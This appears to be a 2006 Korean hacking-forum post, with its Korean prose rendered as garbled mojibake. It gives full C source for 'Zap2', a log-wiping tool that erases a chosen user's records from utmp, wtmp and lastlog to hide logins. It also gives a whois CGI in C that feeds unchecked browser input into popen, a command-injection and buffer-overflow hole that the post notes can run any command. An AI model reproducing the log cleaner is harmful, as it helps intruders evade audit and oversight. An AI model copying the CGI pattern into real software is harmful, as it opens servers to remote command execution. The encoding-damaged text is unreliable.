http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=455 [º¹»ç]
ÃâÀú <ÀÎÅͳÝ>
<·Î±×Áö¿ì±â>
/etc/utmp, /usr/adm/wtmp¿Í /usr/adm/lastlog ÆÄÀÏÀ» º¯°æÇÑ´Ù. À̰͵éÀº ÅؽºÆ®
ÆÄÀÏÀÌ ¾Æ´Ï¶ó
¼ vi·Î ÆíÁýÇÒ ¼ö ¾ø´Ù. Ưº°ÇÑ ¸ñÀûÀ» Áö´Ñ ÇÁ·Î±×·¥À» ÀÛ¼ºÇØ¾ß ÇÑ´Ù.
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LAS
TLOG_NAME, O_R
DWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
C ·Î ¸¸µç CGI [Whois °Ë»ö]
ȸ¼±¸Á Á¤º¸¸¦ ¾Ë·ÁÁÖ´Â Whois °Ë»ö CGI ¸¦ °£´ÜÇÏ°Ô ±¸ÇöÇغ¸¾Ò½À´Ï´Ù
ÂÊÆȸ®±ä ÇÏÁö¸¸ ±×³É ºÁÁÖ¼¼¿ä ^^
Âü ÀÀ¿ëÇϽøé ÀÇ¿Ü·Î ½á¸ÔÀ»¶§°¡ Âü ¸¹½À´Ï´ç À¯´Ð½ºÀÇ ¸ðµç ¸í·É ½ÇÇà°á°ú
¸¦ ºê¶ó¿ìÀú¿¡ Ãâ·Â½Ãų¼ö ÀÖ¾î¿ä
#include <stdio.h>
#include <string.h>
#include <unistd.h>
/* whois °¡ ÀÖ´Â µð·ºÅ丮¿Í µÚ¿¡ ºÙ¿©Áú ÀÎÀÚ¿Í °°ÀÌ ½ÇÇàµÉ ¸í·É¾î¸¦
define ÇØÁØ´Ù
*/
#define WHOIS "/usr/bin/whois -h whois.nic.or.kr"
#define HEADER "<HTML><HEAD><TITLE>Whois °Ë»ö</TITLE></HEAD><BODY>"
int main(int argc, char **argv)
{
FILE *fp;
char buf1[50],buf2[500];
printf("Content-Type: text/html\n\n");
puts(HEADER);
printf("<H1>WHOIS Á¶È¸°Ë»ö</H1><P>\n");
printf("<ISINDEX>\n");
printf("Á¶È¸ÇÒ HOSTÀÇ IP ³ª Domain name À» ÀÔ·ÂÇϼ¼¿ä\n");
/* buf1,buf2 ¸¦ 0 ÄÚµå·Î °¢ ¹è¿ Å©±â¸¸Å ä¿î´Ù */
memset(buf1,'\0',sizeof(buf1));
memset(buf2,'\0',sizeof(buf2));
/* ºê¶ó¿ìÀú¿¡¼ ³Ñ¾î¿Â ÀÎÀÚ ¿Í define µÈ WHOIS ¸¦ ¾ç½Ä¿¡ µû¶ó
buf1 ¿¡ ³Ö¾îÁØ´Ù. Áï buf1 ¿¡´Â ´ÙÀ½°ú °°Àº ¹®±¸°¡ »ðÀԵȴÙ
/usr/bin/whois -h whois.nic.or.kr argv[1]
*/
sprintf(buf1,"%s %s", WHOIS, argv[1]);
/* Ãâ·ÂÀ» °íÁ¤½ÃÄÑÁÖ´Â ÅÂ±× */
printf("<PRE>");
/* popen ÇÔ¼ö´Â fopen°ú´Â ´Þ¸® ÆÄÀÏÀ» open ½ÃÅ°´Âµ¥ ¾Æ´Ï¶ó
½ÇÇà½ÃŲ´Ù "r" ¸ðµå´Â Àб⠸ðµåÀÌ°í "w" ¸ðµå·Î ´ëü ½ÃÄÑÁÖ¸é
½ÇÇàÇÁ·Î±×·¥¿¡ µ¥ÀÌÅ͸¦ ³Ñ°ÜÁÙ¼ö ÀÖ´Ù ÀÖ´Ù pipeopen*/
if ((fp=popen(buf1,"r")) != NULL)
{
while(!feof(fp))
{
/* popen ÀÌ ¹ÝȯÇÑ ¹®ÀÚ¿À» buf¿¡ ÀԷ¹޾Æ
Ç¥ÁØȸéÀ¸·Î Ãâ·ÂÇÑ´Ù */
fgets(buf2,sizeof(buf2),fp);
printf("%s",buf2);
}
printf("</PRE>\n");
}
else
printf("<H1>Error ¹ß»ý</H1>\n");
pclose(fp);
return 0;
}
/* END */
À̸¦ À¯´Ð½º ½©½ºÅ©¸³Æ®·Îµµ ÈξÀ °£´ÜÇÏ°Ô ±¸Çö ÇÒ¼öÀÖ¾î¿ä
ÀÇ¿Ü·Î ½©½ºÅ©¸³Æ®µµ ¾µ¸¸ÇØ¿©
#!/bin/sh
WHOIS=/usr/bin/whois
echo Content-Type: text/html
echo
if [ -x $WHOIS ]; then
if [ $# = 0 ]; then
cat << _EOF_
<HTML><HEAD><TITLE>WHOIS SEARCH</TITLE></HEAD><BODY>
<BR><H1>Whois search input</H1>
<ISINDEX>
Á¶È¸ÇÒ »çÀÌÆ®ÀÇ domain À̳ª ip ¸¦ ÀÔ·ÂÇϼ¼¿ä <P>
_EOF_
else
echo \<PRE\>
$WHOIS -h whois.nic.or.kr "$1"
echo \</PRE\>
fi
else
echo whois not exist file
fi
cat << _EOF_
</BODY></HTML>
_EOF_
|
Hit : 12111 Date : 2006/01/18 09:30
|